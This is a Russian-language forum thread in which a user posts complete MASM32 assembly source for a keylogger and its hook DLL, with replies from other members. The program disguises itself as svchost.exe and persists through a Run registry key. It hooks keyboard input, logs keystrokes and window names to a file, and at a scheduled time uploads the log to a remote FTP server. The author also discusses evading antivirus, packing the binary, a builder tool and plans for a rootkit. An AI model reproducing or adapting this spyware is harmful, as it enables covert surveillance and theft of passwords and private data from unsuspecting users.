Доброго времени суток. У меня есть собственная разработка программы-шпиона, осуществляется перехват введённых с клавиатуры данных, и передача на фтп ресурс. Хотел бы поделится с народом. Возможно написать статью, мануал, как писать начинающим программистам. А то когда сам писал - находил исходники, но ничего конкретного и не особо понятно. Что скажет народ?
Ну можно канешна рассказать какие например кнопки нажимать, например, чтобы компоненты добавлять в делфи, мы все с радостью прочитаем и обсудим. Вы пишите не стесняйтесь. После инде-вх.народ.ру/лог.тхт нам все равно уже ничего не смешно.
Основная программа: Code (Text): .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib include \masm32\include\advapi32.inc includelib \masm32\lib\advapi32.lib include \masm32\include\Wininet.inc includelib \masm32\lib\Wininet.lib .data FileNameDLL db "wmmreg.dll",0 FileName db "svchost.exe",0 lpProcName db "TestFunction",0 hWnd DWORD 0 lpExistingFileName db "C:\svchost.exe",0 lpExistingFileNamelib db "C:\wmmreg.dll",0 reg db "Software\Microsoft\Windows\CurrentVersion\Run", 0 LPWIN32_FIND_DATA WIN32_FIND_DATA <> TIME SYSTEMTIME <> ip db "195.192.168.1",0 ; айпи адрес фтп сервера login db "anonymous",0 password db "mail@mail.ru",0 client_file_name db "C:\Program Files\cdrwin5.txt",0 serwer_file_name db "/incoming/cdrwin5.txt",0 Hour dw 21 Minute dw 21 Second dw 21 servise db "FTP",0 lpdwProcessId PDWORD ? dwThreadId DWORD ? lpfn HOOKPROC ? hMod HINSTANCE ? nameFile BYTE 256 dup (?) hhk HHOOK ? hFindFile HANDLE ? hKeys DWORD ? nInet_Handle DWORD ? lnSession DWORD ? .code start: invoke LoadLibraryA, addr FileNameDLL mov hMod,eax ;Дескриптор модуля DLL invoke GetModuleFileNameA, NULL, addr nameFile, 256 invoke CopyFileA, addr nameFile, addr lpExistingFileName, FALSE invoke FindFirstFileA, addr FileNameDLL, addr LPWIN32_FIND_DATA mov hFindFile, eax invoke CopyFileA, addr LPWIN32_FIND_DATA.cFileName, addr lpExistingFileNamelib, FALSE invoke FindClose, hFindFile invoke RegCreateKeyExA,HKEY_CURRENT_USER, addr reg,0,NULL,0,KEY_ALL_ACCESS, NULL, addr hKeys,NULL invoke lstrlenA, addr lpExistingFileName inc eax invoke RegSetValueExA,hKeys,addr FileName,0,REG_SZ, addr lpExistingFileName,eax invoke RegCloseKey, hKeys @m1: invoke GetForegroundWindow cmp hWnd, eax JE @m2 mov hWnd, eax invoke GetWindowThreadProcessId, hWnd, lpdwProcessId mov dwThreadId, eax invoke GetProcAddress, hMod, addr lpProcName mov lpfn, eax cmp hWnd, eax JE @m2 mov hWnd, eax invoke SetWindowsHookExA, WH_KEYBOARD, lpfn, hMod, dwThreadId mov hhk, eax invoke GetLocalTime, addr TIME mov ax, Hour cmp TIME.wHour, ax JNE @m2 mov ax, Minute cmp TIME.wMinute, ax JNE @m2 mov ax, Second cmp TIME.wSecond, ax JNE @m2 invoke InternetOpenA, addr servise, 1, NULL, NULL, 0 mov nInet_Handle, eax invoke InternetConnectA,nInet_Handle,addr ip, 21, addr login, addr password, INTERNET_SERVICE_FTP,0, 1 mov lnSession, eax invoke FtpPutFileA, lnSession, addr client_file_name, addr serwer_file_name, FTP_TRANSFER_TYPE_ASCII, INTERNET_FLAG_NEED_FILE invoke InternetCloseHandle,lnSession invoke InternetCloseHandle,nInet_Handle @m2: invoke Sleep, 1000 JMP @m1 invoke FreeLibrary, hMod invoke ExitProcess, NULL end start Файл библиотеки: Code (Text): .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data CrkPrg db "f:\me\cdrwin5.txt",0 EndOfFile db 0Dh,0Ah hWnd HWND 0 TIME SYSTEMTIME <> .data? hhk HHOOK ? hFile HANDLE ? lpNumberOfBytesWritten LPDWORD ? lpNumberOfBytesWritten2 LPDWORD ? nNumberOfBytesToWrite DWORD ? Ui db ? lpFilename BYTE 256 dup (?) pwszKLID LPTSTR ? dwhkl HKL ? lpKeyState PBYTE 255 dup (?) pwszBuff LPWSTR ? lpChar LPWORD ? .code DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD mov eax,TRUE ret DllEntry Endp TestFunction proc code:DWORD, wParam:WPARAM, lParam:LPARAM push ebp mov ebp, esp push ebx push esi push edi mov hhk, eax cmp code, 0 JL @m1 invoke GetAsyncKeyState, lParam and EAX,0000000Fh cmp eax, 1 JNE @m1 invoke GetKeyboardLayoutName, addr pwszKLID invoke LoadKeyboardLayout, addr pwszKLID, KLF_SUBSTITUTE_OK mov dwhkl, eax invoke GetKeyboardState, addr lpKeyState invoke ToAsciiEx, lParam, wParam, addr lpKeyState, addr lpChar, 1, dwhkl mov eax, lpChar mov Ui, al mov eax, lParam and eax, 000000FFh cmp al, 0h JE @m1 cmp al, 3h JE @m1 cmp al, 9h JE @m1 cmp al, 8h JE @m1 cmp al, 0Dh JE @m1 cmp al, 0Ah JE @m1 cmp al, 10h JE @m1 cmp al, 11h JE @m1 cmp al, 12h JE @m1 cmp al, 23h JE @m1 invoke GetForegroundWindow cmp hWnd, eax JE @m2 mov hWnd, eax invoke GetModuleFileName, NULL, addr lpFilename, 256 mov nNumberOfBytesToWrite, eax invoke CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov hFile, eax invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke WriteFile, hFile, addr EndOfFile, 2, addr lpNumberOfBytesWritten2, NULL invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke lstrlen, addr lpFilename inc eax invoke WriteFile, hFile, addr lpFilename, eax, addr lpNumberOfBytesWritten2, NULL invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke WriteFile, hFile, addr EndOfFile, 2, addr lpNumberOfBytesWritten2, NULL invoke CloseHandle, hFile @m2: invoke CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov hFile, eax invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke WriteFile, hFile, addr Ui, 1, addr lpNumberOfBytesWritten, NULL invoke CloseHandle, hFile @m1: invoke CallNextHookEx, hhk, code, wParam, lParam invoke UnhookWindowsHookEx, hhk pop edi pop esi pop ebx pop ebp ret 12 TestFunction endp End DllEntry Всё достаточно просто, использовался масм32. Не судите строго.
есть программка, билдер, реализована на делфи, с кнопочками и полями(в которых определяютсявсе параметры программы), которая делает .ехе файл. но єто маленькое чудо 4.5 Кбайта не одобряется антивирусами. Думаю написать руткит, есть несколько уникальных идей.
почему на фтп? наверно потому что чем то запаковано или потому что в теле в открытом виде находятся твои бинарники
Ну не знаю, изначально так придумал и реализовал, удобней было бы отправлять на почту. ничем не паковал..А надо бы, потому что в отладчике видно все данные тела программы, айпи адрес и т.д. как напишу сразу же узнаете)
Уже выложили, там reverscode расскрыл завесу gaeprust Меня терзают смутные сомнения Праба́чце, Як ваша имя́?
JCronuz Можете более раскрыть свою точку зрения и объяснить что вам не нравиться. Проверок результата функций нет - решил сэкономить на размере программы.
Я писал по поводу билдера, которым можно собрать программу с определёнными настройками. Хочу спросить: "народ, заливать ли его" ?
gaeprust Аналогично, ниже по тексту gaeprust Всех больше терзает, что Вам не имется: то всех "обосрали" и ушли хлопннув дверью со словами не вернусь я к Вам "дебилам", то снова вернулись под другим ником, сами думайте